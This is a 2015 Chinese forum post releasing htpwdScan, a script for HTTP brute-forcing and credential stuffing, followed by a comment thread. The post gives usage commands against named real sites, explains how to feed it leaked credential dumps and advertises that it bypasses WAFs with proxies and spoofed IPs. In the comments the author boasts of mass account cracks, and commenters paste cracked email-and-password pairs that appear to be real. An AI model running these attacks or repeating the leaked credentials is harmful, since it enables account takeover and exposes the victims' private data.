htpwdScan -- 一个简单的HTTP暴力破解、撞库攻击脚本
lijiejie | 2015-04-23 17:46
htpwdScan 是一个简单的HTTP暴力破解、撞库攻击脚本:
1. 支持批量校验并导入HTTP代理,低频撞库可以成功攻击大部分网站,绕过大部分防御策略和waf
2. 支持直接导入互联网上泄露的社工库,发起撞库攻击
3. 支持导入超大字典
4. 其他细微功能:随机X-Forwarded-For、随机SessionID,支持Basic Auth,支持MD5 Hash等
下面是几个简单示例
HTTP Basic认证
htpwdScan.py -u=http://auth.58.com/ -basic user.txt password.txt
导入用户名密码字典即可
表单破解
htpwdScan.py -f post2.txt -d passwd=password.txt -err="success\":false"
从 post2.txt 导入抓的http包,passwd是需要破解的参数,而password.txt是保存了密码的字典文件
success":false 是选择的失败标记,标记中若有双引号,请记得用右斜杠 \ 转义
GET参数破解
htpwdScan.py -d passwd=password.txt -u="http://xxx.com/inside.php?m=login&username=test&passwd=test" -get -err="success\":false"
使用-get参数告诉脚本此处是GET请求
撞库攻击
htpwdScan.py -f=post.txt -database loginname,passwd=xiaomi.txt -regex="(\S+)\s+(\S+)" -err="用户名或密码错误" -fip htpwdScan.py -f=post.txt -database passwd,loginname=csdn.net.sql -regex="\S+ # (\S+) # (\S+)" -err="用户名或密码错误" -fip
使用小米和csdn库发起撞库攻击。post.txt是抓包的HTTP请求
参数-regex设定从文件提取参数的正则表达式,此处需分组,分组的方式是使用括号()
小米的数据行格式是 xxx@163.com xxxxxxx 也即 (用户名)空白字符(密码)
(\S+)\s+(\S+) 指定第一个非空白字符拿去填充loginname,而第二个非空白字符串拿去填充passwd
csdn的数据行格式是zdg # 12344321 # zdg@csdn.net . 正则表达式写作\S+ # (\S+) # (\S+)
第一个#后面的非空白字符串填充passwd,第二个#后面的非空白字符串填充loginname
请注意,参数的顺序是重要的
校验HTTP代理
htpwdScan.py -f=post.txt -proxylist=proxies.txt -checkproxy -suc="用户名或密码错误"
要破解某个网站,批量测试使用代理是否连通目标网站,把HTTP请求保存到post.txt,然后用-suc参数设定连通标记
一个简单可行的校验方式是:
htpwdScan.py -u=http://www.baidu.com -get -proxylist=available.txt -checkproxy -suc="百度一下"
完整参数说明
脚本支持的小功能较多,请耐心阅读以下以下完整说明。建议多使用 -debug 参数查看HTTP请求是否有问题,没问题再发起真正的破解。
usage: htpwdScan.py [options] * An HTTP weak pass scanner. By LiJieJie * optional arguments: -h, --help 显示帮助 Target: -u REQUESTURL 设定目标URL, 示例. -u="https://www.test.com/login.php" -f REQUESTFILE 从文件导入HTTP请求 -https 当从文件导入HTTP请求时,启用https(SSL) -get 使用GET方法,默认: POST -basic [ ...] HTTP Basic 暴力破解. 示例. -basic users.dic pass.dic Dictionary: -d Param=DictFile [Param=DictFile ...] 为参数设定字典文件, 支持哈希函数如 md5, md5_16, sha1. 示例. -d user=users.dic pass=md5(pass.dic) Detect: -no302 无视302跳转, 默认302敏感 -err ERR [ERR ...] 响应文本的破解失败标记, 示例. -err "user not exist" "password wrong" -suc SUC [SUC ...] 响应文本中的破解成功标记, e.g. -suc "welcome," "admin" -herr HERR 响应HTTP头的破解失败标记 -hsuc HSUC 响应HTTP头的破解成功标记 -rtxt RetryText 响应文本中的重试标记,出现则重试请求, 示例. -rtxt="IP blocked" -rntxt RetryNoText 响应文本中的重试标记,出现则重试请求, 示例. -rntxt="<body>" -rheader RetryHeader 响应头中的重试标记,出现则重试请求, 示例. -rheader="Set-Cookie:" -rnheader RetryNoHeader 响应头中的重试标记,未出现则重试请求, e.g. -rheader="HTTP/1.1 200 OK" Proxy and spoof: -proxy Server:Port 设定少量HTTP代理 示例. -proxy=127.0.0.1:8000,8.8.8.8:8000 -proxylist ProxyListFile 从文件批量导入HTTP代理, e.g. -proxylist=proxys.txt -checkproxy 检查代理服务器的可用性. 可用代理输出到 001.proxy.servers.txt -fip 随机random X-Forwarded-For欺骗源IP -fsid FSID 生成随机session ID. 示例. -fsid PHPSESSID -sleep SECONDS 每次HTTP结束,等待SECONDS秒, 避免IP被临时屏蔽,进入黑名单 Database attack: -database DATABASE 导入社工库中的数据. e.g. -database user,pass=csdn.txt -regex REGEX 从社工库中提取数据的字符串,必须分组. e.g. -regex="(\S+)\s+(\S+)" General: -t THREADS 工作线程数,默认50 -o OUTPUT 输出文件. 默认: 000.Cracked.Passwords.txt -debug 进入debug mode检查HTTP请求和HTTP响应 -nov 只显示破解成功的条目,不显示进度 -v show program's version number and exit
反馈
使用中若发现问题,请反馈给我。 my[at]lijiejie.com http://www.lijiejie.com
获取脚本:https://github.com/lijiejie/htpwdScan
相关内容:
讨论:如何在网络上保护个人隐私?互联网时代的隐私泄露与安全保护?
中航信系统漏洞泄露乘客信息,查询任意航班乘机人姓名,航班号,身份证,手机号
Angry Birds和广告系统泄露个人信息——FireEye对Angry Birds的分析
小米手机客户资料泄露了吗?冒充小米售后回访诈骗电话:01053799231
发个社工福利站,搜库 - 密码泄露查询,社工库,泄露密码查询库
揭露一个飞机退改签的诈骗:借口机票退改签要退款,索要银行卡号,套取个人信息
京东 淘宝 天猫订单信息泄露诈骗, 接到“京东”的客服电话之后遭遇团伙诈骗
腾讯泄露隐私?看卫士哥获得女神的好友的名单,社工可能认识的人!
如何抵御社工库类的黑客攻击?在明文密码已泄露的情况下保护自己?
中国电信ADSL宽带信息泄露,可查任意IP对应的宽带账号,电话号码,上门砍人
King Of The Proxy (代理之王) v1.0 发布、HTTP代理采集、验证工具
盗刷京东客户资金 4人被抓 客户信息外流 源自去年底数据库泄密事件
Mydecms 贤诚文章管理系统泄露数据库账号、密码、库名漏洞
目前我认为是2011密码泄露事件最合理、最符合实际的一个解释
各种吐槽:
1#
老笨蛋 | 2015-04-23 17:50
大婶出新货了,赞。
2#
hkAssassin | 2015-04-23 18:15
大婶出新货了,赞。
3#
Mody | 2015-04-23 18:17
大婶出新货了,赞。
4#
nony (Not do is die...) | 2015-04-23 18:21
多线程撞库啊
5#
lijiejie | 2015-04-23 18:24
撞库攻击某视频网站,238秒破解成功账号3712个。
6#
浅蓝 (摸摸大) | 2015-04-23 18:28
大婶出新货了,赞。
7#
zph | 2015-04-23 18:29
太牛逼了,赞
8#
刘海哥 (moc.ghuil.www) | 2015-04-23 18:38
太牛逼了,赞
9#
Skull ((data;)) | 2015-04-23 18:46
字典应该在放出来啊
10#
小胖子 (z7y首席代言人,园长的表哥...) | 2015-04-23 19:07
嗯,以后众测又会有很多人刷撞库攻击了。@zeracker
11#
Gnest (乌云首席酱油哥) | 2015-04-23 19:36
姐姐,么么哒。
12#
Well (男神提枪逛青楼。) | 2015-04-23 19:57
姐姐我想给你生娃。。。
13#
’‘Nome (<>?:"{}!%^#&*看出啥来了?) | 2015-04-23 20:05
李洁杰.......哥 谢谢了~ 感谢你的无私奉献
14#
小龙 | 2015-04-23 20:08
太牛逼了,赞,我的草榴账号又有希望了,撸主别哭,站起来撸
15#
sin (求实习) | 2015-04-23 21:15
另外前端放个tor之类的代理池,几分钟刷新下ip
16#
咖啡 (来自iPhone6s土豪金客户端 | 1分钟前 迪拜帆船酒店 总统套房) | 2015-04-23 21:30
收藏, 分享下字典就更好了
17#
’‘Nome (<>?:"{}!%^#&*看出啥来了?) | 2015-04-23 21:33
@咖啡 用泄漏的裤子进行撞裤
18#
MeirLin (我需要AV(安慰)) | 2015-04-23 22:21
有token有办法么
19#
→Hack涛 | 2015-04-23 22:57
前提你要有个给你撞库的地址,第二你需要社工库!第三就是我不会用求教程
20#
Jumbo | 2015-04-23 23:29
支持哈希函数如 md5, md5_16, sha1.这个给力
21#
动后河 (类的继承) | 2015-04-23 23:34
判断登录成功与否方式太单一了,还可以加两个
1. 重定向与否
2. 返回数据长度
22#
her0ma | 2015-04-23 23:43
我想知道撞58的成功了吗?
23#
her0ma | 2015-04-23 23:47
@lijiejie 前两天某天下午开发反馈说我们的系统有异常,我看了半天日志没发现啥问题,是你撞的么?我再翻看看日志记录
24#
炯炯虾 | 2015-04-23 23:54
也不显示扫描进度 谁知道扫了多少
25#
狗狗侠 | 2015-04-24 00:54
撞58妥妥的
26#
MeirLin (我需要AV(安慰)) | 2015-04-24 01:03
好像还是需要导入https的包的,可不可以指定一个地址和参数进行破解呢
27#
0c0c0f | 2015-04-24 01:17
[+OK]passwd=ilover&loginname=greentape@sina.com [+OK]passwd=digital&loginname=xueshuangqing@sina.com [+OK]passwd=LINUXS&loginname=iceberger@263.net [+OK]passwd=qdq&loginname=qdq@ufsoft.com.cn [+OK]passwd=dm-hxh.19941104&loginname=popdou@163.com [+OK]passwd=441772&loginname=tjzhm@citiz.net [+OK]passwd=9426149&loginname=hanlinz@163.net [+OK]passwd=mygodmygod&loginname=randolph@163.net [+OK]passwd=mutant1&loginname=gtccl@sina.com [+OK]passwd=68411880&loginname=LACOOL@163.NET [+OK]passwd=Qlc&loginname=Qlc_Mail@163.net _____________________________________________________________________________________________________________________________________________________________________________________________ [KeyboardInterrupt] Task aborted at 01:04:21, cost 35.64 seconds Cracked 1235 item(s) in total.
提示撞库成功,但所有账户都登录不进去。
目前网站的回显是:用户名或密码错误,我用csdn裤子撞的。
请问,可能是什么原因导致误报?@lijiejie
28#
Me_Fortune | 2015-04-24 08:58
验证码打一套
29#
lijiejie | 2015-04-24 09:57
@0c0c0f loginname, passwd是目标参数,检查下参数名。 另外,默认是302敏感,如果登陆失败也302跳转,加参数-no302. 在Detect这个组里面选择需要的参数告诉扫描器破解成功。 默认只会检测302跳转的。
30#
open (心佛即佛,心魔即魔.) | 2015-04-24 10:04
你这个验证代理,只是验证匿名代理的吧,加个破解squid代理等功能最好。我有现成的只针对http proxy代理的
31#
lijiejie | 2015-04-24 10:04
@动后河 默认是302敏感的,如果登陆失败也302,可以用-no302禁用。 Content-Length后面考虑加上去。 现在支持的规则已经较多,所以尽量不让大家搞糊涂了。 争取做得简单易用些
32#
lijiejie | 2015-04-24 10:06
@0c0c0f 在000.Cracked.Passwords.txt里面有写入破解成功的原因,检查下这个文件可知道为什么误报
33#
百晓生 | 2015-04-24 10:18
@0c0c0f 遇到相同问题,
[+OK]username=armyant@sina.com&password=wc1988315 [+OK]username=like0403@163.com&password=asd0403 [+OK]username=szcyyszsbg@126.com&password=nfdsm1 [+OK]username=717078227@qq.com&password=wang12king [+OK]username=ts7j@msn.com&password=d19910228 [+OK]username=540636689@qq.com&password=xiao1324 [+OK]username=yl_2001@126.com&password=ifilw50 [+OK]username=samyan02@163.com&password=19810905 [+OK]username=77838312@qq.com&password=a13145210 [+OK]username=275701187@qq.com&password=xingxing123 [+OK]username=325567593@qq.com&password=bin123456 [+OK]username=309909465@qq.com&password=zxc1593572 [+OK]username=fr911@126.com&password=gtofr911 [+OK]username=406174405@qq.com&password=qaz7845120 [+OK]username=47999940@qq.com&password=7758258a [+OK]username=1150921074@qq.com&password=li341022 [+OK]username=ziri381832532@163.com&password=001220 ______________________________________________________ [KeyboardInterrupt] Task aborted at 10:10:53, cost 229.46 seconds Cracked 27269 item(s) in total.
无法登陆
34#
lijiejie | 2015-04-24 10:36
@百晓生 先加参数 -debug 测试页面返回了什么, 以及是否破解成功。 然后根据响应的内容来选择成功标记、失败标记。 如果登陆失败会302跳转,需要加参数 -no302 标记302不敏感。
35#
0c0c0f | 2015-04-24 10:37
@百晓生
1、成功标记。
2、参数顺序。
ps:可以debug看一下。
36#
TellYouThat | 2015-04-24 10:56
mark吊
37#
’‘Nome (<>?:"{}!%^#&*看出啥来了?) | 2015-04-24 12:54
哪个哥哥用懂了 - - 帮弟弟个忙呗
38#
爱上平顶山 (IT民工 职业搬砖 挖坑 丝一枚 神马都不会~) | 2015-04-24 13:29
这东西以前就有吧?
39#
小博 | 2015-04-24 13:33
字典请放出来
40#
her0ma | 2015-04-24 13:55
@lijiejie 最想知道的是师傅爆破我大58成功了吗?求漏洞